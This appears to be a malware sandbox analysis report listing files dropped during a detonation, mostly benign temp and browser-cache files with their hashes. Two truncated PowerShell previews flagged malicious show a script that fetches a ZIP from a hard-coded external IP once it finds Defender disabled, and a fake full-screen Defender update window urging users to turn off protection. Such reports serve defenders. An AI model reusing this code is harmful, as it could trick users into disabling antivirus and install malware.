C:\Windows\Temp\~DF16841EEE34011011.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.224461242812131
Encrypted:	false
SSDEEP:	48:E9CuhM+CFXJVT51Y5/MSC/WAECiCyqor/MSC/cToOf:wC/9T8hM/1ECYM/a
MD5:	002573F20B93DE95723346F7825EE131
SHA1:	6B38399693AF6D445D54AE620FC444C785BCB81C
SHA-256:	9067B03F0F546D5CB17E76731D14CCA42CA69926DE77C146A7B8DD7A38F5355F
SHA-512:	F2FC07A53FABE5E0A28EB446F67EBD1D008B505FC8579EB52C5A04D29BDC491F8E9917289A5F884D5863EBED2FEB078CBC4FF650785F68B1DE53812C11600539
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF1A457827A746A8BA.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5240916465247998
Encrypted:	false
SSDEEP:	48:L8PhKuRc06WXJ2nT53Y5/MSC/WAECiCyqor/MSC/cToOf:yhK1NnTWhM/1ECYM/a
MD5:	B75F700026C1E02B7CD7CB71F29EBA38
SHA1:	48DA8F7C5FC32A05E4C2D892BEAF801914675AE2
SHA-256:	E8679100CADA7BFFDDCB5C57350F2874C9C594062590B1D63F639BE059AD0AD6
SHA-512:	5AD16AAE99AF4323D5CCCB2A27C12631F83731DD79031B2FCC26CEEA5F8A02C3049B9932799ABFC8562B68AE8E17ABEE0273B9DF2D8D888C2DFCF53C0238590F
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2F68E6385B425F58.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF35718E8BCD0EB4FC.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07843587179592622
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOn/wMAobq/hK2KOKaVky6lh:2F0i8n0itFzDHF6oYKOwh
MD5:	5579BC1F408CA4A360D2C3B9AB268FFD
SHA1:	70F0DBB951CAB59AC832E95EBD7151D05D5B9C7B
SHA-256:	41C6617A1DA50A185E3CB09FC164D03A24C577C912E7A022A4619224A1B5C855
SHA-512:	3DA77AA593B365F0FCBCE007811C049930A1A49F1DACDE5368C28B53AB2913D360B7EEC2A2CB318EB7ED629A2AE946C08A0BE10DF9DA3C001949F085DD0443F0
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5FA660F126870AA4.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.12228422197217809
Encrypted:	false
SSDEEP:	24:QSp7fk3TxkrLMipVkrLekrLMipVkrLWAEVkryjCyqV2BwG/X+k5Ip:QOfMTe/MSC/p/MSC/WAECiCyqolf
MD5:	004DB75CEAD6C816B8E3138BB020A118
SHA1:	51C605E6A869CDD53B701745E39348D17C525EBD
SHA-256:	A686DC092F85122B977DF635D954F9CF935834B4F460B2980A1D2CBF9C053C58
SHA-512:	6BA4520882DEF69916C44277EC7C7C12879164CB823BA988B7E6D38C344FC033484FACD579F80A2BFBE2AA21383288CEDACBA5CF217689C7B2E2996F8D05B63D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF709E2FE60524344F.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF88DA9EC4038DC3E4.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8CBAA50FFF9AFEE1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.224461242812131
Encrypted:	false
SSDEEP:	48:E9CuhM+CFXJVT51Y5/MSC/WAECiCyqor/MSC/cToOf:wC/9T8hM/1ECYM/a
MD5:	002573F20B93DE95723346F7825EE131
SHA1:	6B38399693AF6D445D54AE620FC444C785BCB81C
SHA-256:	9067B03F0F546D5CB17E76731D14CCA42CA69926DE77C146A7B8DD7A38F5355F
SHA-512:	F2FC07A53FABE5E0A28EB446F67EBD1D008B505FC8579EB52C5A04D29BDC491F8E9917289A5F884D5863EBED2FEB078CBC4FF650785F68B1DE53812C11600539
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFBA9E7C151A02C97C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5240916465247998
Encrypted:	false
SSDEEP:	48:L8PhKuRc06WXJ2nT53Y5/MSC/WAECiCyqor/MSC/cToOf:yhK1NnTWhM/1ECYM/a
MD5:	B75F700026C1E02B7CD7CB71F29EBA38
SHA1:	48DA8F7C5FC32A05E4C2D892BEAF801914675AE2
SHA-256:	E8679100CADA7BFFDDCB5C57350F2874C9C594062590B1D63F639BE059AD0AD6
SHA-512:	5AD16AAE99AF4323D5CCCB2A27C12631F83731DD79031B2FCC26CEEA5F8A02C3049B9932799ABFC8562B68AE8E17ABEE0273B9DF2D8D888C2DFCF53C0238590F
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC4CA4F86E76AC6F7.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFD575D8DE927E9B28.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.224461242812131
Encrypted:	false
SSDEEP:	48:E9CuhM+CFXJVT51Y5/MSC/WAECiCyqor/MSC/cToOf:wC/9T8hM/1ECYM/a
MD5:	002573F20B93DE95723346F7825EE131
SHA1:	6B38399693AF6D445D54AE620FC444C785BCB81C
SHA-256:	9067B03F0F546D5CB17E76731D14CCA42CA69926DE77C146A7B8DD7A38F5355F
SHA-512:	F2FC07A53FABE5E0A28EB446F67EBD1D008B505FC8579EB52C5A04D29BDC491F8E9917289A5F884D5863EBED2FEB078CBC4FF650785F68B1DE53812C11600539
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\temp\DownSistem.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	4.875296459570529
Encrypted:	false
SSDEEP:	48:+8gOzEQzwQUQioAXBvbRhdGAtBEGpGp/VPQCgJ151Kd:+8hYGw1cITdGAtBEGQvi1Kd
MD5:	1B80563A9BE33F01CEED527EE53995DD
SHA1:	C8BB923AD8DBF1D39AC71CF0FE6258BA9FC4FDB0
SHA-256:	BE2CF84DD20BE72DE958F1C31827070302200A72DCB62D1710536EE4D8196CC4
SHA-512:	9C708AB7D93F78A2E24A21B7734298DFC0F2943C74D786601509957AF62B83264A0F9994BCDE80C3FE97F2841E10DD3286C84AD30B24DCBDBCBE9E8DC6AD6C4B
Malicious:	true
Preview:	# Define a URL do arquivo ZIP e o caminho de destino..$zipUrl = "http://192.124.216.14/vd/sis/sistema.zip"..$destinationFolder = "C:\temp"..$zipFilePath = Join-Path $destinationFolder "sistema.zip"....# Verifica se a pasta de destino existe, sen.o a cria..if (-not (Test-Path $destinationFolder)) {.. New-Item -Path $destinationFolder -ItemType Directory -Force \| Out-Null..}....# Fun..o para verificar se o Windows Defender est. inativo..function Is-WindowsDefenderInactive {.. try {.. # Verifica o status do monitoramento em tempo real.. $realTimeProtection = Get-MpPreference \| Select-Object -ExpandProperty DisableRealtimeMonitoring.. return $realTimeProtection -eq $true.. } catch {.. Write-Output "Erro ao verificar o status do Windows Defender: $_".. exit 1.. }..}....# Verifica se o Windows Defender est. inativo..if (-not (Is-WindowsDefenderInactive)) {.. Write-Output "Windows Defender est. ativo. Nada ser. feito.".. exit 0..}....# Se o

C:\temp\ShowUpdateScreen.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ISO-8859 text, with very long lines (316), with CRLF line terminators
Category:	dropped
Size (bytes):	5030
Entropy (8bit):	5.251015391591683
Encrypted:	false
SSDEEP:	96:DTQOCfldZT23NDacTXivoHhorwJdypKNAklPm5toUruVMLpAdVuDCqlG0MHR5J4k:QOCtdA3ND/WdwjPmTruVMLpAdVuDCqRk
MD5:	7338FA32EEC1B64EF2995D209495C3E3
SHA1:	E1D6045D8E37BF82A3C86430C05A6639909174AB
SHA-256:	7745829DBEC254390C66758B27977EF2CA1365DBA4A2FDDBA3C6BA1A89F9ABCD
SHA-512:	81F15FAC304EAE040AE72C0B08CCBB7AD3857B78A52868805A37EBA7306B8D118371535A6F3A4976C1C8AD6DF783FDF4D5C3AED6DD6C231F758B640CE9E0DD9B
Malicious:	true
Preview:	Add-Type -AssemblyName System.Windows.Forms..Add-Type -AssemblyName System.Drawing....$form = New-Object System.Windows.Forms.Form..$form.WindowState = 'Maximized'..$form.FormBorderStyle = 'None'..$form.BackColor = [System.Drawing.Color]::FromArgb(0, 120, 215)..$form.TopMost = $true....$label = New-Object System.Windows.Forms.Label..$label.Text = "ATUALIZA..O DO WINDOWS DEFENDER`n`nAguarde, estamos atualizando seu Antivirus Windows Defender.`nNa pr.xima tela, desabilite todas as op..es ativas, para prosseguir com a atualiza..o.`nlogo ap.s a atualiza..o, todas as op..es ser.o reativadas automaticamente.`n`nClique no bot.o abaixo para continuar"..$label.Font = New-Object System.Drawing.Font("Segoe UI", 18)..$label.ForeColor = 'White'..$label.AutoSize = $true..$label.Location = New-Object System.Drawing.Point(200, 150)..$form.Controls.Add($label)....$pictureBox = New-Object System.Windows.Forms.PictureBox..$pictureBox.ImageLocation = "C:\\temp\\loading.gif"..$pictureBox.SizeMode = 'Stretc

C:\temp\loading.gif

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	GIF image data, version 89a, 128 x 128
Category:	dropped
Size (bytes):	45632
Entropy (8bit):	7.752616668937112
Encrypted:	false
SSDEEP:	768:DaQdV1aFO8hKPkT6f1RmTyLyazwPt08EAQLvlLFr:+YkceKPue14+Tz1PAQLNJ
MD5:	B3AC83C59A1D981725A72B9A6851EDEC
SHA1:	969BF732C77C009C656CA3B66B40D7188F5A768F
SHA-256:	274FCAD499652B0D5C9A2A3DA0EBA8703D1245DE06DC20925E5EBB11B6A9AF2C
SHA-512:	6702B72A6D81E361CD8DA21D35D92D0AA6AC4E4A7841708EA0D1709008B9075CC2A64CDAFE8C443348016A10FE12A8F4FC373A1EACE29129CAB82EED47744295
Malicious:	false
Preview:	GIF89a...................lll....................\|\|\|...ttt................................................!..NETSCAPE2.0.....!..ImageMagick.gamma=0.454545.!.......,........... $.di.h.......tm.x.(C?..XnH,.e..o.8:.P.aIED..+.JUd.......4A^..p...{..%..px..m^x.$lK..D.t....d..C.J\M.....v5.........t..E0...r....C<t...5.m...2.....,.K...'......#.....A..&.....................pz.....x..=..q q.`. .$t...3.N.y..4lS.bD"....%.@..q...,...>V..r.G..+.$PP@...1......@...J...H.]...P..ku`.N...).)....]E...+.~d......TT.T.M5.+..t..IfAX.-.......v.C.....#K.L....3k...g.j.".P.....<.P.......n...P..Cm..Kl.......T..q...C@1.K/......k........O.....E...!..ImageMagick.gamma=0.454545.!.......,....L.d.....$.di.h......+.t..C>.H....@....$..#...(R.$...,.Pu...!.P..........$...G..@....vw.._?.t.w%...H.].."Tt.I.M9...L..Q..0...t....t..w~]........n....0...............w..?......HyD..4..N\|.+Bte.*.h..)..(..'..]..%.h..-...@....Iw.D....0lh.....(j.... C..I...(S..\.Q...^\|$.C.#...@.8.........\..@.....

C:\temp\logo.png

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	71977
Entropy (8bit):	7.162452570294947
Encrypted:	false
SSDEEP:	1536:+gLkFMnomksBbxLXr/DdWvHMHMYUo+CB8Vu:+GnZLLDdVHDAu
MD5:	702EA782AAE26DED88FA40BD7B209D08
SHA1:	BC6334BAD5BA4DC3017D027738AD2CC1CEDB7533
SHA-256:	779069D4F2F95426555C2A9E6030ACF1B9020C2A3797A90BE3629246C1F96586
SHA-512:	94752392092C46DFCD4D0C3FA2317D8B9D5B289F5BFB898071998297E68C59AA3B1DD55A88EF35FE9A3275FB144FCDA4E8AC7A614A3085601B26865BE83C7DAE
Malicious:	false
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS6.....HprVWx...A..0...'..8......".......i....7=}.F...................+g.....,....Y..P...HmkBF........................................................................).3...:.mkTSx..}[w.F..&3N,..'.f....:......<..(i....l9/^ H.....IV...~...qi4..I....A4.........N~..._..........F......Ng.a6\|.5...=...oX..........Flc.?..M(..38.s.....\|\|;.......z.mic...j}m.]..L{....@.6.\B.....3..8.}0...t.]h.5m....6.s.m...'....a..Tt.ig.'.N...{.{0..z....Pq.v...y..tF.r.>.......h.[y....1...0.2.3....4.0Yaa..B..d..m......`.=..v.5....X.3c].=..hW..o.;........i.6....K`..`..6..0:...q.<.....i1xZ...3.e......j..;.F9._r.....\..FP-P...q0......@S.<4%MsW.;..FC...a5CV.!}.!.P..i.....t.`...;...>.Ia.Ubi..j...U...6.....C..E.v.........`.....)l.........T...=r.ZD..o.J..:.H7....!}...[..d #96:.&...2.\..z.+.S.ly0.......y.2.9-...u.B.C.a.9%..V....A....6U...k.....n.....r..B.>..vs.Fc.....G6.A.3ht..

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (604)
Category:	downloaded
Size (bytes):	14566
Entropy (8bit):	5.70914661559882
Encrypted:	false
SSDEEP:	384:G3mOiXBu8gbEDBbJvhFUJOpwBznlkjqws/:rOiXBfkAvhmcpwBlkjW/
MD5:	FEC2026A018A7F138042B9FDB25A5E63
SHA1:	1F2F4F6F399A900000FB5B345D82E631D3159685
SHA-256:	273375229A390C6928B7035712B452DCA81851533593629167F7996E01811986
SHA-512:	81D1EB4F11CF792DC00DBA2D4F2FC739959D1223133F0F25CB7402AD4AC012FBE918430F0EE755BBC968411864417232CAF3A50BA3101E1555C71FD6AD3C14DC
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=sy2e,LBaJxb,sy2g,pxafOd,sy2f,sy2k,sy2l,sy2o,GI8h7,nAFL3,sy2p,sy2q,O626Fe"
Preview:	try{.var TQ=Symbol();.}catch(e){_DumpException(e)}.try{.C("LBaJxb");.var TTc=function(a){a=a.rect;return Math.floor(Math.max(a.height,a.width).2)},UTc={pseudoElement:"::after",duration:450,fill:"forwards",easing:"cubic-bezier(0.2, 0, 0, 1)"};var YQ=function(a){vP.call(this,a.Pa);this.Yg=!1;this[TQ]=!0};P(YQ,vP);YQ.sa=vP.sa;.YQ.prototype.yd=function(a){if(!this.Yg&&(a instanceof KeyboardEvent?a.key==="Enter"\|\|a.key===" ":1)){this.Yg=!0;var b;(b=this.animation)==null\|\|b.cancel();clearTimeout(this.timeout);this.aa().ub("RBHQF-ksKsZd-OWXEXe-QDgCrf");var c=this.aa().el().getBoundingClientRect();b=TTc({rect:c});var d=a instanceof MouseEvent?{x:a.clientX-c.left,y:a.clientY-c.top}:{x:c.width/2,y:c.height/2};d={x:d.x-b/2,y:d.y-b/2};a={x:(c.width-b)/2,y:(c.height-b)/2};b=d;d={rect:c};var e=d.rect;c=e.width;e=e.height;d=TTc(d);.c=""+(Math.sqrt(Math.pow(c,2)+Math.pow(e,2))+10+Math.max(.35Math.max(e,c),75))/d;d+="px";a={top:[0,0],left:[0,0],height:[d,d],width:[d,d],transform:["translate("+b.x+"px

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1224)
Category:	downloaded
Size (bytes):	16972
Entropy (8bit):	5.610632369043462
Encrypted:	false
SSDEEP:	384:rAvPH9on/L0Z7LCoK/k8NMxIU8sK+1a+1cS2bs8bVvHi:M39SAooK/O/K+cbRbVvHi
MD5:	56DB2B9B38F212881110E036BBF43E85
SHA1:	4A1AB3DEB689B65F0591AE57531445078538715C
SHA-256:	05A7BA93EAE423C94AE992161734469FDD7A2E77D975FD870B7D2F505C86D71D
SHA-512:	26723ED1D8335C922DC95ED5F7543E6653FD487BDE6428C04463A1ECC35F5771D14714621DA4DCD3B73C8229423958F3871EB24C3F9AAB81DDBDCAD06142EBA5
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=IiC5yd,sy3m,sy3j,sy3l,sye,sy3n,sy3i,sy3o,sy3q,syf,sy6i,qDbUCd"
Preview:	try{.C("IiC5yd");./*.. Copyright 2020 Google Inc... Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restriction, including without limitation the rights. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell. copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:.. The above copyright notice and this permission notice shall be included in. all copies or substantial portions of the Software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR. IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,. FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE. AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER. LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3170
Entropy (8bit):	7.934630496764965
Encrypted:	false
SSDEEP:	96:c2ZEPhMXQnPkVrTEnGD9c4vnrmBYBaSfS18:c2/XQnPGroGD9vvnXVaq
MD5:	9D73B3AA30BCE9D8F166DE5178AE4338
SHA1:	D0CBC46850D8ED54625A3B2B01A2C31F37977E75
SHA-256:	DBEF5E5530003B7233E944856C23D1437902A2D3568CDFD2BEAF2166E9CA9139
SHA-512:	8E55D1677CDBFE9DB6700840041C815329A57DF69E303ADC1F994757C64100FE4A3A17E86EF4613F4243E29014517234DEBFBCEE58DAB9FC56C81DD147FDC058
Malicious:	false
URL:	https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png
Preview:	.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(...N_R."0`.-.A..\|.N..`....n..{.&..l.o..;.....a....d..$.................J.1......7+.c...o..T/.~V.r.....D..G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4\|.F...9......pP.8.\|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b..L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. ..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=ugwsfqwek6i1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	27641
Entropy (8bit):	5.573976695441575
Encrypted:	false
SSDEEP:	192:ocbBXTbrhho+7ySzhY7UVbqGIwVjqwKYqipd5HwBsIwAhuoxQ1VohjQ/VbqGIwVU:H1/5qY1YtT6qYivxTAqYMH
MD5:	2118F868FAE723EBC0C0674E8649E123
SHA1:	6A7759DD79CF76D2141585D0D6880DF9F0DF6FDB
SHA-256:	D9913CCE1102236ACD2DCBC26F0CD7A59C818F315B659704987AFBFA5BD46573
SHA-512:	2182404F2B47C3B1CCDB1F41697E9598459D63F72F7229479A464CCE220C256370D278CAF3FB48DEB0300296C25721B57199E1D9C43FA505DB6B4AE4348D2246
Malicious:	false
URL:	"https://fonts.googleapis.com/css?family=Google+Sans_old:300,400,500,700"
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ armenian /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiIUvaYr.woff2) format('woff2');. unicode-range: U+0308, U+0530-058F, U+2010, U+2024, U+25CC, U+FB13-FB17;.}./ bengali /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiAUvaYr.woff2) format('woff2');. unicode-range: U+0951-0952, U+0964-0965, U+0980-09FE, U+1CD0, U+1CD2, U+1CD5-1CD6, U+1CD8, U+1CE1, U+1CEA, U+1CED, U+1CF2, U+1CF5-1CF7, U+200C-200D, U+20B9, U+25CC, U+A8F1;.}./ cyrillic-ext */.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_I

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3274), with no line terminators
Category:	downloaded
Size (bytes):	3274
Entropy (8bit):	5.390471426059042
Encrypted:	false
SSDEEP:	48:lwBrcIGsrcIGyCGnllJ1ws15Tws15QZUxzVKLCJEcouyntAu1I5nEcJyZXE1eelB:lXTMb1db1hNY/cobkcsidqg3gcIOW
MD5:	33E4EF067E8DB248F4DFB3C7F76E02B5
SHA1:	D5D5979344C1D3F41A32A180ADC849D373196B6A
SHA-256:	89E059962059032E7A140D5739E8C9C197A55D7305ABD98466C9D6D300B07A02
SHA-512:	9A1F769697EE558640C298906A933259DE20D4CD01D0D485BAEA1B7274B8F951B6D56BF5DF1E54383482970245E2CC5F71EB833EA1C89E949E6948DB56A448AE
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qcwid/excm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1024x1448, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	77078
Entropy (8bit):	7.996749986634451
Encrypted:	true
